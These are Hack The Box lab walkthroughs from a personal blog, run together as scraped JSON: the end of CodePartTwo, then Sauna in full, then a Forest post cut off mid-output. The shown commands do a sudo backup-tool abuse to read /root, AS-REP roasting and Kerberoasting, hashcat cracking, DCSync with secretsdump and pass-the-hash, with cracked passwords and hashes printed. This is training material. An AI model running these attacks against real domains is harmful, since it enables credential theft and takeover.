2024-08-13 09:16:08 Enter \u0026#34;.help\u0026#34; for usage hints. sqlite\u0026gt; select * from user; 1|marco|649c9d65a206a75f5abe509fe128bce5 2|app|a97588c0e2fa3a024876339e27aeb42e Crack Marco\u0026#39;s password 1 2 3 hashcat -m 0 users.txt /usr/share/wordlists/rockyou.txt.gz 649c9d65a206a75f5abe509fe128bce5:sweetangelbabylove Root We run sudo -l and we see that we can run sudo in one binary.\n1 2 3 4 5 6 7 marco@codeparttwo:~$ sudo -l Matching Defaults entries for marco on codeparttwo: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User marco may run the following commands on codeparttwo: (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli Checking on how the binary works we see we can create backups and also dump files from these backups. The current backup up just includes the /home/app/.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 marco@codeparttwo:~$ sudo npbackup-cli -c npbackup.conf --ls 2026-01-22 19:05:44,484 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root 2026-01-22 19:05:44,514 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf 2026-01-22 19:05:44,524 :: INFO :: Showing content of snapshot latest in repo default 2026-01-22 19:05:46,751 :: INFO :: Successfully listed snapshot latest content: snapshot 35a4dac3 of [/home/app/app] at 2025-04-06 03:50:16.222832208 +0000 UTC by root@codetwo filtered by []: /home /home/app /home/app/app /home/app/app/__pycache__ /home/app/app/__pycache__/app.cpython-38.pyc /home/app/app/app.py /home/app/app/instance /home/app/app/instance/users.db /home/app/app/requirements.txt /home/app/app/static /home/app/app/static/app.zip /home/app/app/static/css /home/app/app/static/css/styles.css /home/app/app/static/js /home/app/app/static/js/script.js /home/app/app/templates /home/app/app/templates/base.html /home/app/app/templates/dashboard.html /home/app/app/templates/index.html /home/app/app/templates/login.html /home/app/app/templates/register.html We can use the -b flag to make a new backup. So if could just make a new backup and include the /root dir! We see there is a .conf file that specifies that. But we cannot edit it. Tip But we can create a new one. LOL. Add the /root folder.\n1 2 3 4 5 6 7 8 9 10 11 conf_version: 3.0.1 audience: public repos: default: repo_uri: __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__ repo_group: default_group backup_opts: paths: - /root/ ... Then we run the backup sudo npbackup-cli -c lol.conf -b -f and then get the flag sudo npbackup-cli -c lol.conf --dump /root/root.txt\n","permalink":"https://p4n4s.com/posts/htb/box/codeparttwo/","summary":"CodePartTwo","title":"HTB: AD — CodePartTwo"},{"content":"Machine Info Spoiler Sauna is an easy difficulty Windows machine that features Active Directory enumeration and exploitation. Possible usernames can be derived from employee full names listed on the website. With these usernames, an ASREPRoasting attack can be performed, which results in hash for an account that doesn\u0026rsquo;t require Kerberos pre-authentication. This hash can be subjected to an offline brute force attack, in order to recover the plaintext password for a user that is able to WinRM to the box. Running WinPEAS reveals that another system user has been configured to automatically login and it identifies their password. This second user also has Windows remote management permissions. BloodHound reveals that this user has the DS-Replication-Get-Changes-All extended right, which allows them to dump password hashes from the Domain Controller in a DCSync attack. Executing this attack returns the hash of the primary domain administrator, which can be used with Impacket\u0026rsquo;s psexec.py in order to gain a shell on the box as NT_AUTHORITY\\SYSTEM. User Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 └─$ ports=$(nmap -p- --min-rate=1000 -T4 10.129.95.180 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) └─$ nmap -p$ports -sC -sV 10.129.95.180 Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-17 16:18 CET Nmap scan report for 10.129.95.180 Host is up (0.068s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Egotistical Bank :: Home | http-methods: |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-17 22:18:49Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc Microsoft Windows RPC 49676/tcp open msrpc Microsoft Windows RPC 49692/tcp open msrpc Microsoft Windows RPC Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 7h00m00s | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2026-01-17T22:19:41 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 96.51 seconds We will add the domain(EGOTISTICAL-BANK.LOCAL) and the hostname(SAUNA.EGOTISTICAL-BANK.LOCAL) in the /etc/hosts file.\nContinuing our web enumeration we don\u0026rsquo;t find much but one page gives us supposedly the names of the internal team.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 └─$ gobuster dir -u http://sauna.egotistical-bank.local -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50 -x html,bak,txt =============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://sauna.egotistical-bank.local [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8 [+] Extensions: html,bak,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /About.html (Status: 200) [Size: 30954] /Blog.html (Status: 200) [Size: 24695] /Contact.html (Status: 200) [Size: 15634] /Images (Status: 301) [Size: 167] [--\u0026gt; http://sauna.egotistical-bank.local/Images/] /Index.html (Status: 200) [Size: 32797] /about.html (Status: 200) [Size: 30954] /blog.html (Status: 200) [Size: 24695] /contact.html (Status: 200) [Size: 15634] /css (Status: 301) [Size: 164] [--\u0026gt; http://sauna.egotistical-bank.local/css/] /fonts (Status: 301) [Size: 166] [--\u0026gt; http://sauna.egotistical-bank.local/fonts/] /images (Status: 301) [Size: 167] [--\u0026gt; http://sauna.egotistical-bank.local/images/] /index.html (Status: 200) [Size: 32797] /single.html (Status: 200) [Size: 38059] Progress: 81924 / 81924 (100.00%) =============================================================== Finished =============================================================== Here are the names we get in the about.html.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;col-sm-4 service-1-w3pvt serve-gd3\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;serve-grid test-gd mt-4\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;images/t1.jpg\u0026#34; alt=\u0026#34;\u0026#34; class=\u0026#34;img-fluid image1\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;mt-2\u0026#34;\u0026gt;Fergus Smith \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;serve-grid test-gd mt-4\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;images/t2.jpg\u0026#34; alt=\u0026#34;\u0026#34; class=\u0026#34;img-fluid image1\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;mt-2\u0026#34;\u0026gt;Hugo Bear \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;serve-grid test-gd mt-4\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;images/t3.jpg\u0026#34; alt=\u0026#34;\u0026#34; class=\u0026#34;img-fluid image1\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;mt-2\u0026#34;\u0026gt;Steven Kerb \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;col-sm-4 service-1-w3pvt serve-gd2\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;serve-grid test-gd mt-4\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;images/te2.jpg\u0026#34; alt=\u0026#34;\u0026#34; class=\u0026#34;img-fluid image1\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;mt-2\u0026#34;\u0026gt;Shaun Coins \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;serve-grid test-gd mt-4\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;images/te1.jpg\u0026#34; alt=\u0026#34;\u0026#34; class=\u0026#34;img-fluid image1\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;mt-2\u0026#34;\u0026gt;Bowie Taylor \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;col-sm-4 service-1-w3pvt serve-gd1\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;serve-grid test-gd mt-4\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;images/t4.jpg\u0026#34; alt=\u0026#34;\u0026#34; class=\u0026#34;img-fluid image1\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;mt-2\u0026#34;\u0026gt;Sophie Driver \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; These could be internal AD users if we are lucky. Let\u0026rsquo;s enumerate them with impacket-GetNPUsers but first we are going to create the possible usernames with username-anarchy! We give the user names found as first and last name per line and it will create all possible usernames from these.\n1 username-anarchy --input-file users.txt \u0026gt; users2.txt 1 2 3 4 5 6 7 8 9 └─$ impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -usersfile users2.txt -dc-ip 10.129.95.180 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:87be45447465b32e0e7e0405b6b5472f$27a37c8b644372a4695d88ac2061dfbc4309ffb28f7b9b331233e5949fb0aae8ce7807572e503e348be98a78e3b94c7c6bdf4ac8d9720af816149de8e50ec0cd4a7da0904962909d5f09baf425bd7f614805d694cedad43cc52d9e39ed4df72a447fc708ff87f7b66bb2b4aeddb63d5e1788b2058391a0b98751fa896cded0695f42a5f0a606b333cdd0776eaff60f909cd4dc02ad1207f7e9b5c16dbf6b04874c01b3bb4a0e147ac764d28d9d2fee2f0f129775219492cb219598ba2d81f9b4d3258bb32ec0faa6ace30d3358cbd5b1cc0605dacf586ab5d09afc9e3898c44fe6f088995cb4226090cc6b7073313e0a498073555ca6e7db8babdbf2f035b3ca [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) Bingo! We get the AS-REP hash for user fsmith as the only one that exists in the AD.\nLet\u0026rsquo;s crack it.\n1 2 3 4 5 6 └─$ hashcat -m 18200 fsmith.hash /usr/share/wordlists/rockyou.txt.gz ... Session..........: hashcat Status...........: Cracked Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP) .... FSmith\u0026#39;s Cracked hash $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:87be45447465b32e0e7e0405b6b5472f$27a37c8b644372a4695d88ac2061dfbc4309ffb28f7b9b331233e5949fb0aae8ce7807572e503e348be98a78e3b94c7c6bdf4ac8d9720af816149de8e50ec0cd4a7da0904962909d5f09baf425bd7f614805d694cedad43cc52d9e39ed4df72a447fc708ff87f7b66bb2b4aeddb63d5e1788b2058391a0b98751fa896cded0695f42a5f0a606b333cdd0776eaff60f909cd4dc02ad1207f7e9b5c16dbf6b04874c01b3bb4a0e147ac764d28d9d2fee2f0f129775219492cb219598ba2d81f9b4d3258bb32ec0faa6ace30d3358cbd5b1cc0605dacf586ab5d09afc9e3898c44fe6f088995cb4226090cc6b7073313e0a498073555ca6e7db8babdbf2f035b3ca:Thestrokes23 Using evil-winrm we get a shell and the user.txt.\nRoot Post-Enumeration Enumerating our posture and the domain we will launch Bloodhound. First we collect the data from our attacker machine.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 └─$ bloodhound-python -d egotistical-bank.local -u fsmith -p \u0026#39;\u0026lt;PASSWORD\u0026gt;\u0026#39; -dc SAUNA.EGOTISTICAL-BANK.LOCAL -ns 10.129.95.180 -c all INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: egotistical-bank.local INFO: Getting TGT for user INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL WARNING: Kerberos auth to LDAP failed, trying NTLM INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL WARNING: Kerberos auth to LDAP failed, trying NTLM INFO: Found 7 users INFO: Found 52 groups INFO: Found 3 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: SAUNA.EGOTISTICAL-BANK.LOCAL WARNING: Failed to get service ticket for SAUNA.EGOTISTICAL-BANK.LOCAL, falling back to NTLM auth CRITICAL: CCache file is not found. Skipping... WARNING: DCE/RPC connection failed: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) INFO: Done in 00M 13S Looking at the user we see another account named hsmith. We see it is kerberoasrtable so we get its credentials.\n1 2 3 4 5 6 7 └─$ faketime \u0026#39;Mon Jan 19 06:43:00 2026\u0026#39; impacket-GetUserSPNs EGOTISTICAL-BANK.LOCAL/fsmith -dc-ip 10.129.95.180 -request -outputfile kerberoast.hashes Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Password: ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation ---------------------------------------- ------ -------- -------------------------- --------- ---------- SAUNA/HSmith.EGOTISTICALBANK.LOCAL:60111 HSmith 2020-01-23 06:54:34.140321 \u0026lt;never\u0026gt; 1 2 3 4 5 6 7 8 └─$ hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt.gz hashcat (v7.1.2) starting ... Session..........: hashcat Status...........: Cracked Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP) ... HSmith\u0026#39;s password Thestrokes23 DCSync This led us though to no attack path for privileges escalation. Looking at Bloodhound output we see also another service account that has some interesting outbound object controls! These two ACLs can be used to perform a DCSync attack! This makes this account a target for us privilege escalation. As a next step let\u0026rsquo;s continue with winPeas and see if we get anything.\n1 *Evil-WinRM* PS C:\\Users\\FSmith\\Documents\u0026gt; .\\winPEASx64.exe Looking at the output we get Autologin credentials for that account. Autologin credentials 1 2 3 4 5 ╔══════════╣ Looking for AutoLogon credentials Some AutoLogon credentials were found DefaultDomainName : EGOTISTICALBANK DefaultUserName : EGOTISTICALBANK\\svc_loanmanager DefaultPassword : Moneymakestheworldgoround! Now our attack path is easy and set, we perform a DCSync attack and gather the Administrator\u0026rsquo;s hash.\nAdministrator NT Hash 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 └─$ impacket-secretsdump EGOTISTICAL-BANK/svc_loanmgr@10.129.95.180 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Password: [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c::: EGOTISTICAL-BANK.LOCAL\\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd::: EGOTISTICAL-BANK.LOCAL\\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd::: EGOTISTICAL-BANK.LOCAL\\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c::: SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:47ffe5972eb49901e0cbe6f8c1627664::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657 Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e Administrator:des-cbc-md5:fb8f321c64cea87f krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24 krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9 krbtgt:des-cbc-md5:c170d5dc3edfc1d9 EGOTISTICAL-BANK.LOCAL\\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324 EGOTISTICAL-BANK.LOCAL\\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9 EGOTISTICAL-BANK.LOCAL\\HSmith:des-cbc-md5:1c73b99168d3f8c7 EGOTISTICAL-BANK.LOCAL\\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2 EGOTISTICAL-BANK.LOCAL\\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b EGOTISTICAL-BANK.LOCAL\\FSmith:des-cbc-md5:b50e02ab0d85f76b EGOTISTICAL-BANK.LOCAL\\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba EGOTISTICAL-BANK.LOCAL\\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c EGOTISTICAL-BANK.LOCAL\\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2 SAUNA$:aes256-cts-hmac-sha1-96:0c3a42221337aa834b85e08e443be85f2bad531875eabb3a15766f02b6b8fb24 SAUNA$:aes128-cts-hmac-sha1-96:5b5006ca3579bbe190fb7810ba32a4de SAUNA$:des-cbc-md5:54f1c785efc8e989 [*] Cleaning up... To get the root.txt we just authenticate as Administrator and Pass the Hash.\n1 evil-winrm -i 10.129.95.210 -u Administrator -H \u0026lt;HASH\u0026gt; ","permalink":"https://p4n4s.com/posts/htb/box/sauna/","summary":"Sauna is an easy difficulty Windows machine that features Active Directory enumeration and exploitation. Possible usernames can be derived from employee full names listed on the website. With these usernames, an ASREPRoasting attack can be performed, which results in hash for an account that doesn\u0026rsquo;t require Kerberos pre-authentication. This hash can be subjected to an offline brute force attack, in order to recover the plaintext password for a user that is able to WinRM to the box. Running WinPEAS reveals that another system user has been configured to automatically login and it identifies their password. This second user also has Windows remote management permissions. BloodHound reveals that this user has the DS-Replication-Get-Changes-All extended right, which allows them to dump password hashes from the Domain Controller in a DCSync attack. Executing this attack returns the hash of the primary domain administrator, which can be used with Impacket\u0026rsquo;s psexec.py in order to gain a shell on the box as NT_AUTHORITY\\SYSTEM.","title":"HTB: AD — sauna"},{"content":"Machine Info Spoiler Forest is an easy Windows machine that showcases a Domain Controller (DC) for a domain in which Exchange Server has been installed. The DC allows anonymous LDAP binds, which are used to enumerate domain objects. The password for a service account with Kerberos pre-authentication disabled can be cracked to gain a foothold. The service account is found to be a member of the Account Operators group, which can be used to add users to privileged Exchange groups. The Exchange group membership is leveraged to gain DCSync privileges on the domain and dump the NTLM hashes, compromising the system. Host / IP At the time of writing this report the machines on the platform have unique IPs for everybody. Get you IP and add it to the /etc/hosts file with the appropriate domain name, forest.htb.\nUser Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 └─$ sudo nmap -sC -sV 10.129.95.210 -T4 -oN nmap.txt PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-16 12:24:06Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: FOREST | NetBIOS computer name: FOREST\\x00 | Domain name: htb.local | Forest name: htb.local | FQDN: FOREST.htb.local |_ System time: 2026-01-16T04:24:09-08:00 | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb-security-mode: | account_used: \u0026lt;blank\u0026gt; | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-time: | date: 2026-01-16T12:24:10 |_ start_date: 2026-01-16T12:14:58 |_clock-skew: mean: 2h46m49s, deviation: 4h37m08s, median: 6m49s We don\u0026rsquo;t see a lot of open services that can be interesting. SMB reveals no open shares. What we see is and is important is that the domain is htb.local and the hostname of the DC is FOREST. We need to edit our records in*/etc/hosts*.\n1 \u0026lt;IP\u0026gt; forest.htb.local htb.local LDAP Checking the LDAP we can basically query the Domain unauthenticated. We search the directory with different filters and outputs.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 └─$ ldapsearch -x -H ldap://htb.local -b \u0026#39;DC=htb,DC=local\u0026#39; \u0026#39;objectClass=User\u0026#39; | grep dn: dn: CN=Guest,CN=Users,DC=htb,DC=local dn: CN=DefaultAccount,CN=Users,DC=htb,DC=local dn: CN=FOREST,OU=Domain Controllers,DC=htb,DC=local dn: CN=EXCH01,CN=Computers,DC=htb,DC=local dn: CN=Exchange Online-ApplicationAccount,CN=Users,DC=htb,DC=local dn: CN=SystemMailbox{1f05a927-89c0-4725-adca-4527114196a1},CN=Users,DC=htb,DC= dn: CN=SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c},CN=Users,DC=htb,DC= dn: CN=SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9},CN=Users,DC=htb,DC= dn: CN=DiscoverySearchMailbox {D919BA05-46A6-415f-80AD-7E09334BB852},CN=Users, dn: CN=Migration.8f3e7716-2011-43e4-96b1-aba62d229136,CN=Users,DC=htb,DC=local dn: CN=FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042,CN=Users,DC=htb,DC= dn: CN=SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201},CN=Users,DC=htb,DC= dn: CN=SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA},CN=Users,DC=htb,DC= dn: CN=SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9},CN=Users,DC=htb,DC= dn: CN=HealthMailboxc3d7722415ad41a5b19e3e00e165edbe,CN=Monitoring Mailboxes,C dn: CN=HealthMailboxfc9daad117b84fe08b081886bd8a5a50,CN=Monitoring Mailboxes,C dn: CN=HealthMailboxc0a90c97d4994429b15003d6a518f3f5,CN=Monitoring Mailboxes,C dn: CN=HealthMailbox670628ec4dd64321acfdf6e67db3a2d8,CN=Monitoring Mailboxes,C dn: CN=HealthMailbox968e74dd3edb414cb4018376e7dd95ba,CN=Monitoring Mailboxes,C dn: CN=HealthMailbox6ded67848a234577a1756e072081d01f,CN=Monitoring Mailboxes,C dn: CN=HealthMailbox83d6781be36b4bbf8893b03c2ee379ab,CN=Monitoring Mailboxes,C dn: CN=HealthMailboxfd87238e536e49e08738480d300e3772,CN=Monitoring Mailboxes,C dn: CN=HealthMailboxb01ac647a64648d2a5fa21df27058a24,CN=Monitoring Mailboxes,C dn: CN=HealthMailbox7108a4e350f84b32a7a90d8e718f78cf,CN=Monitoring Mailboxes,C dn: CN=HealthMailbox0659cc188f4c4f9f978f6c2142c4181e,CN=Monitoring Mailboxes,C dn: CN=Sebastien Caron,OU=Exchange Administrators,OU=Information Technology,OU dn: CN=Lucinda Berger,OU=IT Management,OU=Information Technology,OU=Employees, dn: CN=Andy Hislip,OU=Helpdesk,OU=Information Technology,OU=Employees,DC=htb,D dn: CN=Mark Brandt,OU=Sysadmins,OU=Information Technology,OU=Employees,DC=htb, dn: CN=Santi Rodriguez,OU=Developers,OU=Information Technology,OU=Employees,DC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 └─$ ldapsearch -x -H ldap://htb.local -b \u0026#39;DC=htb,DC=local\u0026#39; \u0026#39;objectClass=User\u0026#39; | grep userPrincipalName userPrincipalName: Exchange_Online-ApplicationAccount@htb.local userPrincipalName: SystemMailbox{1f05a927-89c0-4725-adca-4527114196a1}@htb.loc userPrincipalName: SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@htb.loc userPrincipalName: SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}@htb.loc userPrincipalName: DiscoverySearchMailbox {D919BA05-46A6-415f-80AD-7E09334BB85 userPrincipalName: Migration.8f3e7716-2011-43e4-96b1-aba62d229136@htb.local userPrincipalName: FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042@htb.loc userPrincipalName: SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}@htb.loc userPrincipalName: SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}@htb.loc userPrincipalName: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}@htb.loc userPrincipalName: HealthMailboxc3d7722415ad41a5b19e3e00e165edbe@htb.local userPrincipalName: HealthMailboxfc9daad117b84fe08b081886bd8a5a50@htb.local userPrincipalName: HealthMailboxc0a90c97d4994429b15003d6a518f3f5@htb.local userPrincipalName: HealthMailbox670628ec4dd64321acfdf6e67db3a2d8@htb.local userPrincipalName: HealthMailbox968e74dd3edb414cb4018376e7dd95ba@htb.local userPrincipalName: HealthMailbox6ded67848a234577a1756e072081d01f@htb.local userPrincipalName: HealthMailbox83d6781be36b4bbf8893b03c2ee379ab@htb.local userPrincipalName: HealthMailboxfd87238e536e49e08738480d300e3772@htb.local userPrincipalName: HealthMailboxb01ac647a64648d2a5fa21df27058a24@htb.local userPrincipalName: HealthMailbox7108a4e350f84b32a7a90d8e718f78cf@htb.local userPrincipalName: HealthMailbox0659cc188f4c4f9f978f6c2142c4181e@htb.local userPrincipalName: sebastien@htb.local userPrincipalName: lucinda@htb.local userPrincipalName: andy@htb.local userPrincipalName: mark@htb.local userPrincipalName: santi@htb.local Having gathered the username we try to see if they are AS-Roastable! Info Users that have Kerberos pre-authentication disabled can basically give us the AS-Response hash, which we can try to crack. This is called AS-REP-Roasting. 1 2 3 4 5 6 7 8 └─$ impacket-GetNPUsers HTB.LOCAL/ -dc-ip 10.129.95.210 -usersfile ~/Desktop/htb-labs/AD/forest/users.txt -format hashcat Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] User sebastien doesn\u0026#39;t have UF_DONT_REQUIRE_PREAUTH set [-] User andy doesn\u0026#39;t have UF_DONT_REQUIRE_PREAUTH set [-] User mark doesn\u0026#39;t have UF_DONT_REQUIRE_PREAUTH set [-] User santi 